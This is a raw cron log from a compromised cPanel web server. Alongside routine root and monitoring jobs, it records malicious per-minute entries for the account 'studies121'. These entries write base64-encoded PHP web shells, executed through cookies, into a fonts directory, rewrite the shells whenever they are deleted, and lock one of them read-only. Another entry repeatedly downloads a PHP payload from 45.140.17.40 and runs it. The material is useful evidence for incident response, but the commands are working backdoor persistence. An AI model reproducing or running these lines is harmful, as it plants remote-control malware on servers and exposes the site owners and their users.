Sep  8 18:17:01 ip-184-168-122-23 CROND[30065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:17:01 ip-184-168-122-23 CROND[30066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:17:01 ip-184-168-122-23 CROND[30069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:17:01 ip-184-168-122-23 CROND[30070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:18:01 ip-184-168-122-23 CROND[30348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:18:01 ip-184-168-122-23 CROND[30351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:18:01 ip-184-168-122-23 CROND[30350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:18:01 ip-184-168-122-23 CROND[30352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:18:01 ip-184-168-122-23 CROND[30353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:19:01 ip-184-168-122-23 CROND[30686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:19:01 ip-184-168-122-23 CROND[30688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:19:01 ip-184-168-122-23 CROND[30689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:19:01 ip-184-168-122-23 CROND[30690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:20:01 ip-184-168-122-23 CROND[31052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:20:01 ip-184-168-122-23 CROND[31061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:21:01 ip-184-168-122-23 CROND[31412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:21:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:21:01 ip-184-168-122-23 CROND[31415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:21:01 ip-184-168-122-23 CROND[31417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:22:01 ip-184-168-122-23 CROND[31835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:22:01 ip-184-168-122-23 CROND[31837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:22:01 ip-184-168-122-23 CROND[31836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:22:01 ip-184-168-122-23 CROND[31839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:22:01 ip-184-168-122-23 CROND[31838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:23:01 ip-184-168-122-23 CROND[32134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:23:01 ip-184-168-122-23 CROND[32136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:23:01 ip-184-168-122-23 CROND[32137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:23:01 ip-184-168-122-23 CROND[32138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:24:02 ip-184-168-122-23 CROND[32445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:24:02 ip-184-168-122-23 CROND[32448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:24:02 ip-184-168-122-23 CROND[32450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:24:02 ip-184-168-122-23 CROND[32447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:24:02 ip-184-168-122-23 CROND[32449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:25:01 ip-184-168-122-23 CROND[32747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32750]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:25:01 ip-184-168-122-23 CROND[32752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:26:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:26:01 ip-184-168-122-23 CROND[1128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:26:01 ip-184-168-122-23 CROND[1132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:26:01 ip-184-168-122-23 CROND[1133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:26:01 ip-184-168-122-23 CROND[1131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:27:01 ip-184-168-122-23 CROND[1463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:27:01 ip-184-168-122-23 CROND[1465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:27:01 ip-184-168-122-23 CROND[1466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:27:01 ip-184-168-122-23 CROND[1469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:28:01 ip-184-168-122-23 CROND[1882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:28:01 ip-184-168-122-23 CROND[1885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:28:01 ip-184-168-122-23 CROND[1887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:28:01 ip-184-168-122-23 CROND[1884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:28:01 ip-184-168-122-23 CROND[1886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:29:01 ip-184-168-122-23 CROND[2205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:29:01 ip-184-168-122-23 CROND[2208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
